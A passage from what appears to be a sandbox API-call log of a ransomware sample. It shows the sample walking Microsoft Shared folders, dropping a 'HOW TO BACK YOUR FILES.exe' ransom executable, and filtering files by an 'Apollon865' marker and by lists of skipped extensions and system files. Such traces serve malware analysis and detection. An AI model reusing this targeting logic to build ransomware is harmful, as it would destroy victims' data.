	[0075.351] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="To_Do_List.emf" | out: lpString1="To_Do_List.emf") returned="To_Do_List.emf"
	[0075.351] lstrlenW (lpString="To_Do_List.emf") returned 14
	[0075.351] lstrlenW (lpString="Apollon865") returned 10
	[0075.351] lstrcmpiW (lpString1="o_List.emf", lpString2="Apollon865") returned 1
	[0075.352] lstrlenW (lpString=".dll") returned 4
	[0075.352] lstrcmpiW (lpString1="To_Do_List.emf", lpString2=".dll") returned 1
	[0075.352] lstrlenW (lpString=".lnk") returned 4
	[0075.352] lstrcmpiW (lpString1="To_Do_List.emf", lpString2=".lnk") returned 1
	[0075.352] lstrlenW (lpString=".ini") returned 4
	[0075.352] lstrcmpiW (lpString1="To_Do_List.emf", lpString2=".ini") returned 1
	[0075.352] lstrlenW (lpString=".sys") returned 4
	[0075.352] lstrcmpiW (lpString1="To_Do_List.emf", lpString2=".sys") returned 1
	[0075.352] lstrlenW (lpString="To_Do_List.emf") returned 14
	[0075.352] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="White_Chocolate.jpg" | out: lpString1="White_Chocolate.jpg") returned="White_Chocolate.jpg"
	[0075.352] lstrlenW (lpString="White_Chocolate.jpg") returned 19
	[0075.352] lstrlenW (lpString="Apollon865") returned 10
	[0075.352] lstrcmpiW (lpString1="colate.jpg", lpString2="Apollon865") returned 1
	[0075.352] lstrlenW (lpString=".dll") returned 4
	[0075.352] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2=".dll") returned 1
	[0075.352] lstrlenW (lpString=".lnk") returned 4
	[0075.352] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2=".lnk") returned 1
	[0075.352] lstrlenW (lpString=".ini") returned 4
	[0075.352] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2=".ini") returned 1
	[0075.352] lstrlenW (lpString=".sys") returned 4
	[0075.352] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2=".sys") returned 1
	[0075.352] lstrlenW (lpString="White_Chocolate.jpg") returned 19
	[0075.352] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Wrinkled_Paper.gif" | out: lpString1="Wrinkled_Paper.gif") returned="Wrinkled_Paper.gif"
	[0075.352] lstrlenW (lpString="Wrinkled_Paper.gif") returned 18
	[0075.352] lstrlenW (lpString="Apollon865") returned 10
	[0075.352] lstrcmpiW (lpString1="_Paper.gif", lpString2="Apollon865") returned -1
	[0075.352] lstrlenW (lpString=".dll") returned 4
	[0075.352] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2=".dll") returned 1
	[0075.352] lstrlenW (lpString=".lnk") returned 4
	[0075.352] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2=".lnk") returned 1
	[0075.352] lstrlenW (lpString=".ini") returned 4
	[0075.352] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2=".ini") returned 1
	[0075.352] lstrlenW (lpString=".sys") returned 4
	[0075.353] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2=".sys") returned 1
	[0075.353] lstrlenW (lpString="Wrinkled_Paper.gif") returned 18
	[0075.353] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine"
	[0075.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0075.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0075.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine") returned 60
	[0075.353] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine"
	[0075.353] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.353] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.358] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44fd2530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44fd2530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.358] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.358] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.358] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.358] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44fd2530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44fd2530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.358] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.358] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.358] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.358] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.358] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44fd2530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x44fd2530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.358] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.358] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1
	[0075.358] lstrcmpiW (lpString1="OSE.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.358] lstrcmpiW (lpString1="OSE.EXE", lpString2="Apollon865.txt.exe") returned 1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2=".") returned 1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2="..") returned 1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2="windows") returned -1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2="bootmgr") returned 1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2="temp") returned -1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2="pagefile.sys") returned -1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2="boot") returned 1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2="ids.txt") returned 1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2="ntuser.dat") returned 1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2="perflogs") returned -1
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2="MSBuild") returned 1
	[0075.359] lstrlenW (lpString="OSE.EXE") returned 7
	[0075.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*") returned 62
	[0075.359] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="OSE.EXE" | out: lpString1="OSE.EXE") returned="OSE.EXE"
	[0075.359] lstrlenW (lpString="OSE.EXE") returned 7
	[0075.359] lstrlenW (lpString="Apollon865") returned 10
	[0075.359] lstrlenW (lpString=".dll") returned 4
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2=".dll") returned 1
	[0075.359] lstrlenW (lpString=".lnk") returned 4
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2=".lnk") returned 1
	[0075.359] lstrlenW (lpString=".ini") returned 4
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2=".ini") returned 1
	[0075.359] lstrlenW (lpString=".sys") returned 4
	[0075.359] lstrcmpiW (lpString1="OSE.EXE", lpString2=".sys") returned 1
	[0075.359] lstrlenW (lpString="OSE.EXE") returned 7
	[0075.359] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag"
	[0075.359] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0075.359] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0075.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned 56
	[0075.359] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag"
	[0075.359] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.360] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.366] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44fd2530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44fd2530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.366] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.366] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.366] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.366] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x44fd2530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44fd2530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.366] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.366] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.366] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.366] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.366] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0075.366] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.366] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0075.366] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0075.367] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0075.367] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0075.367] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0075.367] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0075.367] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0075.367] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0075.367] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0075.367] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0075.367] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0075.367] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0075.367] lstrlenW (lpString="1033") returned 4
	[0075.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*") returned 58
	[0075.367] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0075.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0075.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf5f0
	[0075.367] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0075.367] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".") returned 1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="..") returned 1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="windows") returned -1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="bootmgr") returned 1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="temp") returned -1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="pagefile.sys") returned -1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="boot") returned 1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="ids.txt") returned -1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="ntuser.dat") returned -1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="perflogs") returned -1
	[0075.367] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="MSBuild") returned -1
	[0075.367] lstrlenW (lpString="FBIBLIO.DLL") returned 11
	[0075.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033") returned 61
	[0075.367] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="FBIBLIO.DLL" | out: lpString1="FBIBLIO.DLL") returned="FBIBLIO.DLL"
	[0075.367] lstrlenW (lpString="FBIBLIO.DLL") returned 11
	[0075.367] lstrlenW (lpString="Apollon865") returned 10
	[0075.368] lstrcmpiW (lpString1="BIBLIO.DLL", lpString2="Apollon865") returned 1
	[0075.368] lstrlenW (lpString=".dll") returned 4
	[0075.368] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".dll") returned 1
	[0075.368] lstrlenW (lpString=".lnk") returned 4
	[0075.368] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".lnk") returned 1
	[0075.368] lstrlenW (lpString=".ini") returned 4
	[0075.368] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".ini") returned 1
	[0075.368] lstrlenW (lpString=".sys") returned 4
	[0075.368] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".sys") returned 1
	[0075.368] lstrlenW (lpString="FBIBLIO.DLL") returned 11
	[0075.368] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="FDATE.DLL" | out: lpString1="FDATE.DLL") returned="FDATE.DLL"
	[0075.368] lstrlenW (lpString="FDATE.DLL") returned 9
	[0075.368] lstrlenW (lpString="Apollon865") returned 10
	[0075.368] lstrlenW (lpString=".dll") returned 4
	[0075.368] lstrcmpiW (lpString1="FDATE.DLL", lpString2=".dll") returned 1
	[0075.368] lstrlenW (lpString=".lnk") returned 4
	[0075.368] lstrcmpiW (lpString1="FDATE.DLL", lpString2=".lnk") returned 1
	[0075.368] lstrlenW (lpString=".ini") returned 4
	[0075.368] lstrcmpiW (lpString1="FDATE.DLL", lpString2=".ini") returned 1
	[0075.368] lstrlenW (lpString=".sys") returned 4
	[0075.368] lstrcmpiW (lpString1="FDATE.DLL", lpString2=".sys") returned 1
	[0075.368] lstrlenW (lpString="FDATE.DLL") returned 9
	[0075.368] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="FPERSON.DLL" | out: lpString1="FPERSON.DLL") returned="FPERSON.DLL"
	[0075.368] lstrlenW (lpString="FPERSON.DLL") returned 11
	[0075.368] lstrlenW (lpString="Apollon865") returned 10
	[0075.368] lstrcmpiW (lpString1="PERSON.DLL", lpString2="Apollon865") returned 1
	[0075.368] lstrlenW (lpString=".dll") returned 4
	[0075.368] lstrcmpiW (lpString1="FPERSON.DLL", lpString2=".dll") returned 1
	[0075.368] lstrlenW (lpString=".lnk") returned 4
	[0075.368] lstrcmpiW (lpString1="FPERSON.DLL", lpString2=".lnk") returned 1
	[0075.369] lstrlenW (lpString=".ini") returned 4
	[0075.369] lstrcmpiW (lpString1="FPERSON.DLL", lpString2=".ini") returned 1
	[0075.369] lstrlenW (lpString=".sys") returned 4
	[0075.369] lstrcmpiW (lpString1="FPERSON.DLL", lpString2=".sys") returned 1
	[0075.369] lstrlenW (lpString="FPERSON.DLL") returned 11
	[0075.369] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="FPLACE.DLL" | out: lpString1="FPLACE.DLL") returned="FPLACE.DLL"
	[0075.369] lstrlenW (lpString="FPLACE.DLL") returned 10
	[0075.369] lstrlenW (lpString="Apollon865") returned 10
	[0075.369] lstrlenW (lpString=".dll") returned 4
	[0075.369] lstrcmpiW (lpString1="FPLACE.DLL", lpString2=".dll") returned 1
	[0075.369] lstrlenW (lpString=".lnk") returned 4
	[0075.369] lstrcmpiW (lpString1="FPLACE.DLL", lpString2=".lnk") returned 1
	[0075.369] lstrlenW (lpString=".ini") returned 4
	[0075.369] lstrcmpiW (lpString1="FPLACE.DLL", lpString2=".ini") returned 1
	[0075.369] lstrlenW (lpString=".sys") returned 4
	[0075.369] lstrcmpiW (lpString1="FPLACE.DLL", lpString2=".sys") returned 1
	[0075.369] lstrlenW (lpString="FPLACE.DLL") returned 10
	[0075.369] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="FSTOCK.DLL" | out: lpString1="FSTOCK.DLL") returned="FSTOCK.DLL"
	[0075.369] lstrlenW (lpString="FSTOCK.DLL") returned 10
	[0075.369] lstrlenW (lpString="Apollon865") returned 10
	[0075.369] lstrlenW (lpString=".dll") returned 4
	[0075.369] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2=".dll") returned 1
	[0075.369] lstrlenW (lpString=".lnk") returned 4
	[0075.369] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2=".lnk") returned 1
	[0075.369] lstrlenW (lpString=".ini") returned 4
	[0075.369] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2=".ini") returned 1
	[0075.369] lstrlenW (lpString=".sys") returned 4
	[0075.369] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2=".sys") returned 1
	[0075.369] lstrlenW (lpString="FSTOCK.DLL") returned 10
	[0075.370] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="IETAG.DLL" | out: lpString1="IETAG.DLL") returned="IETAG.DLL"
	[0075.370] lstrlenW (lpString="IETAG.DLL") returned 9
	[0075.370] lstrlenW (lpString="Apollon865") returned 10
	[0075.370] lstrlenW (lpString=".dll") returned 4
	[0075.370] lstrcmpiW (lpString1="IETAG.DLL", lpString2=".dll") returned 1
	[0075.370] lstrlenW (lpString=".lnk") returned 4
	[0075.370] lstrcmpiW (lpString1="IETAG.DLL", lpString2=".lnk") returned 1
	[0075.370] lstrlenW (lpString=".ini") returned 4
	[0075.370] lstrcmpiW (lpString1="IETAG.DLL", lpString2=".ini") returned 1
	[0075.370] lstrlenW (lpString=".sys") returned 4
	[0075.370] lstrcmpiW (lpString1="IETAG.DLL", lpString2=".sys") returned 1
	[0075.370] lstrlenW (lpString="IETAG.DLL") returned 9
	[0075.370] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="IMCONTACT.DLL" | out: lpString1="IMCONTACT.DLL") returned="IMCONTACT.DLL"
	[0075.370] lstrlenW (lpString="IMCONTACT.DLL") returned 13
	[0075.370] lstrlenW (lpString="Apollon865") returned 10
	[0075.370] lstrcmpiW (lpString1="ONTACT.DLL", lpString2="Apollon865") returned 1
	[0075.370] lstrlenW (lpString=".dll") returned 4
	[0075.370] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2=".dll") returned 1
	[0075.370] lstrlenW (lpString=".lnk") returned 4
	[0075.370] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2=".lnk") returned 1
	[0075.370] lstrlenW (lpString=".ini") returned 4
	[0075.370] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2=".ini") returned 1
	[0075.370] lstrlenW (lpString=".sys") returned 4
	[0075.370] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2=".sys") returned 1
	[0075.370] lstrlenW (lpString="IMCONTACT.DLL") returned 13
	[0075.370] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="LISTS" | out: lpString1="LISTS") returned="LISTS"
	[0075.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0075.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf700
	[0075.370] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7cb0
	[0075.370] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0075.370] lstrcmpiW (lpString1="METCONV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.370] lstrcmpiW (lpString1="METCONV.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0075.370] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".") returned 1
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2="..") returned 1
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2="windows") returned -1
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2="bootmgr") returned 1
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2="temp") returned -1
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2="pagefile.sys") returned -1
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2="boot") returned 1
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2="ids.txt") returned 1
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2="ntuser.dat") returned -1
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2="perflogs") returned -1
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2="MSBuild") returned -1
	[0075.371] lstrlenW (lpString="METCONV.DLL") returned 11
	[0075.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS") returned 62
	[0075.371] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="METCONV.DLL" | out: lpString1="METCONV.DLL") returned="METCONV.DLL"
	[0075.371] lstrlenW (lpString="METCONV.DLL") returned 11
	[0075.371] lstrlenW (lpString="Apollon865") returned 10
	[0075.371] lstrcmpiW (lpString1="ETCONV.DLL", lpString2="Apollon865") returned 1
	[0075.371] lstrlenW (lpString=".dll") returned 4
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".dll") returned 1
	[0075.371] lstrlenW (lpString=".lnk") returned 4
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".lnk") returned 1
	[0075.371] lstrlenW (lpString=".ini") returned 4
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".ini") returned 1
	[0075.371] lstrlenW (lpString=".sys") returned 4
	[0075.371] lstrcmpiW (lpString1="METCONV.DLL", lpString2=".sys") returned 1
	[0075.371] lstrlenW (lpString="METCONV.DLL") returned 11
	[0075.371] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="METCONV.TXT" | out: lpString1="METCONV.TXT") returned="METCONV.TXT"
	[0075.371] lstrlenW (lpString="METCONV.TXT") returned 11
	[0075.371] lstrlenW (lpString="Apollon865") returned 10
	[0075.371] lstrcmpiW (lpString1="ETCONV.TXT", lpString2="Apollon865") returned 1
	[0075.371] lstrlenW (lpString=".dll") returned 4
	[0075.371] lstrcmpiW (lpString1="METCONV.TXT", lpString2=".dll") returned 1
	[0075.371] lstrlenW (lpString=".lnk") returned 4
	[0075.371] lstrcmpiW (lpString1="METCONV.TXT", lpString2=".lnk") returned 1
	[0075.371] lstrlenW (lpString=".ini") returned 4
	[0075.371] lstrcmpiW (lpString1="METCONV.TXT", lpString2=".ini") returned 1
	[0075.372] lstrlenW (lpString=".sys") returned 4
	[0075.372] lstrcmpiW (lpString1="METCONV.TXT", lpString2=".sys") returned 1
	[0075.372] lstrlenW (lpString="METCONV.TXT") returned 11
